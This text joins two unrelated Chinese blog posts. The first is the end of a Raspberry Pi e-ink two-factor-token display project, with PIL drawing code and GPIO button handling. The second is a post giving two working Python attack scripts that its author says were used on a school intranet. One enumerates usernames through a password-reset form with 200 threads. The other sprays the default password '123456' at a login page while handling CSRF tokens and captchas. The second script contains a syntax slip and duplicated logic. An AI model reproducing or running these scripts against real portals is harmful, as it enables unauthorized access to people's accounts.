PAGE_H), outline=0) curr, total = page curr -= 1 if total < 1: total = 1 if curr > total: curr = 0 pages = ['-'] * total if active: pages[curr] = '≡' else: pages[curr] = '≡' page_str = ' '.join(pages) wp, hp = FONT_PAGE.getsize(page_str) draw.text(((CODE_W-wp)/2, (PAGE_H-hp)/2-2), page_str, font=FONT_PAGE, fill=0x00) return im_page img = Image.new('L', (CODE_W, SCREEN_H), 0xff) y = -1 for name, code in data[:6]: img_code = draw_auth_single(name, code) img.paste(img_code, (0, y)) y += img_code.height img_page = draw_page_info() img.paste(img_page, (0, y)) return img def draw_clock() -> Image: '''绘制时钟''' img = Image.new('L', (CLOCK_W, CLOCK_H), 0xff) draw = ImageDraw.Draw(img) time_str = time.strftime("%H:%M", time.localtime()) date_str = time.strftime("%Y-%m-%d", time.localtime()) # 画时钟 wc, hc = FONT_CLOCK.getsize(time_str) wd, hd = FONT_DATE.getsize(date_str) draw.text(((CLOCK_W-wc)/2+3, 10), time_str, font=FONT_CLOCK, fill=0x00) draw.text(((CLOCK_W-wd)/2+3, 65), date_str, font=FONT_DATE, fill=0x00) for i, tip in enumerate(tips, 0): wt, ht = FONT_TIPS.getsize(tip) draw.text(((CLOCK_W-wt)/2, 110+(ht+5)*i), tip, font=FONT_TIPS, fill=0x00) return img if not active: data = [('---', '-----')] * 6 if len(data) < 6: data += [('---', '-----')] * 6 if not tips: tips = ['By Chr_', 'Ver 0.01', 'chrxw.com'] full_img = Image.new('L', (SCREEN_W, SCREEN_H), 0xff) img_auth = draw_auth() full_img.paste(img_auth, (ICON_W, 0)) img_icon = draw_icon() full_img.paste(img_icon, (0, 0)) img_clock = draw_clock() full_img.paste(img_clock, (ICON_W+CODE_W, 0)) with open('o.png', 'wb') as f: full_img.save(f, 'png') return full_img PIL绘图简介 创建图片('L'代表灰度模式，0xff表示默认颜色是白色) img = Image.new('L', (width, height), 0xff) 图片拼贴(把img_icon粘贴到img(30,0)的位置) img.paste(img_icon, (30, 0)) 创建画笔对象 draw = ImageDraw.Draw(img) 绘制矩形(左上角为(x1,y1)，右下角为(x2,y2)) draw.rectangle((x1, y1, x2, y2), outline=0) 绘制直线(端点为(x1,y1)和(x2,y2)，0x00表示线条颜色为黑色，宽度为1) draw_name.line(((0, 0), (W2, 0)), fill=0x00, width=1) 创建字体对象('font/CascadiaMono.ttf'是字体路径，12是字号) font = ImageFont.truetype('font/CascadiaMono.ttf'), 12) 获取文字的尺寸(获取用指定字体把'text'显示出来的尺寸，高为h，宽为w) w, h = font.getsize('text') 绘制文本(把'text'用指定字体显示在(20,10)的位置，0x00表示字体颜色是黑色) draw.text((20, 10), 'text', font=font, fill=0x00) 按键响应 原理 树莓派有2种引脚编号方式，BCM和BOARD，两者的区别只是对引脚的标记不同，使用GPIO前申明一下引脚的编号方式即可，使用命令gpio readall可以查看所有引脚的编号、状态、电平状态 类似于51单片机的中断系统，树莓派也可以设定中断，不过先要把指定引脚设定为输入模式，设定完后，再创建一个“监听器”，当指定引脚的电平从高电平变为低电平的时候，就会自动调用指定函数，参数为引脚号。 我买的屏幕左边4个按键使用BCM编码的引脚编号为【5,6,13,19】，前两个用来控制翻页，第三个用来切换时钟下方显示的内容，第四个用来控制令牌的显示/隐藏。 实现 i> 这里只列出了事件响应的部分，具体功能的实现请参考obj.py import RPi.GPIO as GPIO from obj import Pi_2FA # 使用的引脚序号 KEYS = [5, 6, 13, 19] pi_2fa = Pi_2FA() # 按键响应回调函数 def btn_callback(key): if pi_2fa.Ready: if key == KEYS[0]: pi_2fa.page_down() elif key == KEYS[1]: pi_2fa.page_up() elif key ==KEYS[2]: pi_2fa.switch_mode() elif key ==KEYS[3]: pi_2fa.none_mode() else: print(key) return # 设置引脚编号方式为BCM GPIO.setmode(GPIO.BCM) for key in KEYS: # 设定指定引脚为输入模式 GPIO.setup(key, GPIO.IN, pull_up_down=GPIO.PUD_UP) # 为指定引脚添加事件响应函数 GPIO.add_event_detect(key, GPIO.RISING, callback=btn_callback, bouncetime=200)
!> 本文仅供学习交流使用，其他用途与作者无关 前言 最近在学校内网瞎搞，就有了这个脚本，一个用来爆破用户名，另一个用来爆破默认密码。 验证码识别用的是腾讯云的OCR，不过也可以手动打码。 脚本 安装依赖： pip install requests bs4 lxml 爆破用户名 存在的用户名会保存在 users.txt 里 #!/usr/bin/python3 from json import dumps from requests import session import threading from bs4 import BeautifulSoup import requests requests.packages.urllib3.disable_warnings() # 爆破起始ID uid = 0 # 爆破结束ID ends = 30000 # 爆破入口（忘记密码页面） target = 'https://xxxx/forget/security' HEADERS = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'charset': 'UTF-8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输出文件为 `users.txt` outf = open('users.txt', 'a', encoding='utf-8') def get_id(): global uid raw = str(uid).rjust(4, '0') uid += 1 return raw if uid <= ends else None class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.headers = HEADERS.copy() self.headers['x-requested-with'] = 'XMLHttpRequest' self.flash_token() threading.Thread.__init__(self) def flash_token(self): '''刷新token''' r = self.ss.get(target, headers=HEADERS, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') t = soup.select_one( '#forget-security-form > input[type=hidden]:nth-child(1)') tk = t.get('value') if t else None self.headers['x-csrf-token'] = tk if tk == None: print('error') self.ss.headers = self.headers def run(self): print(f'{self.i} 开始') user = get_id() while user: result = self.check_user(user) if result: print(f'{user} 用户存在') outf.write(f'{user} 用户存在\n') outf.flush() else: print(f'{user} 用户不存在') user = get_id() print(f'{self.i} 退出') def check_user(self, uid): error = 0 jd = {} while error < 5: try: data = {'user_name': uid} r = self.ss.post(target, data=data, verify=False) r.encoding = 'utf-8' jd = r.json() break except Exception: self.flash_token() error += 1 if 'question_id' in jd: msg = '该账号未设置密保!' else: msg = jd.get('msg') if jd else None if not msg: with open(f'{self.i}.html', 'w') as f: f.write(dumps(jd)) print('未知错误') return msg == '该账号未设置密保!' def main(): threads = [] # 200是线程数量,可以自行调整 for i in range(0, 200): t = Boomer(i) t.start() threads.append(t) for t in threads: t.join() outf.close() if __name__ == "__main__": main() 爆破默认密码 @> 登陆错误50次就锁IP了，所以手动打码也完全没有问题。 用户名文件为 users.txt，结果保存在 result.txt #!/usr/bin/python3 from urllib.parse import urljoin from requests import session import threading from re import findall from bs4 import BeautifulSoup # 调用腾讯云的验证码识别接口 # from tencen2 import get_tencent_reg # 默认口令 passwd = '123456' # 爆破入口（登陆页面） target = 'https://xxxx/' headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输入输出文件 inf = open('users.txt', 'r', encoding='utf-8') outf = open('result.txt', 'w', encoding='utf-8') def get_id(): try: line = inf.readline() i, *_ = line.split() return i except: return None found = True while not found: found = '' in get_id() class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.ss.headers = headers threading.Thread.__init__(self def run(self): print(f'{self.i} 开始') user = get_id() while user: result=check_pass(user, passwd, self.ss) # 尝试登陆两次（验证码识别率不高） if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') else: if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') user = get_id() print(f'{self.i} 退出') def check_pass(user: str, passwd: str, ss: session): def get_token(soup: BeautifulSoup) -> str: '''获取token''' token = soup.select_one('#login-form > input[type=hidden]') return token.get('value') if token else None def get_chapter(soup: BeautifulSoup) -> str: '''获取验证码链接''' chapter = soup.select_one('#loginform-verifycode-image') return chapter.get('src') if chapter else None r = ss.get(target, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') token = get_token(soup) chapter = get_chapter(soup) while True: url = urljoin(target, chapter)# 验证码图片地址 with open('yzm.png', 'wb') as f: r = ss.get(url, verify=False) f.write(r.content) # 如果要使用腾讯云OCR的话修改这里就行 print('请输入验证码：') yzm = input() # yzm = (get_tencent_reg('yzm.png') or [''])[0] yzm =''.join(findall(r'[A-Za-z0-9]',str(yzm))) if len(yzm)==4: break else: print(f'验证码识别有误 {yzm}') data = {'_csrf-8800': token, 'LoginForm[username]': user, 'LoginForm[password]': passwd, 'LoginForm[verifyCode]': yzm, 'login-button': ''} r = ss.post(target, data=data, verify=False) r.encoding = 'utf-8' result = '修改密码' in str(r.text) print(user,yzm,'成功' if result else '失败') return result def main(): threads = [] # for i in range(0, 10): # 改成了单线程操作 t = Boomer(1) t.start() threads.append(t) for t in threads: t.join() inf.close() outf.close() if __name__ == "__main__": main() PS:因为测试了几个账号,都没有修改默认密码,加上每小时只能试50条的限制,这个脚本没有真正使用过,不过功能是正常的。 执行效果 配合第二个脚本就可以快速筛选出使用默认密码的账号了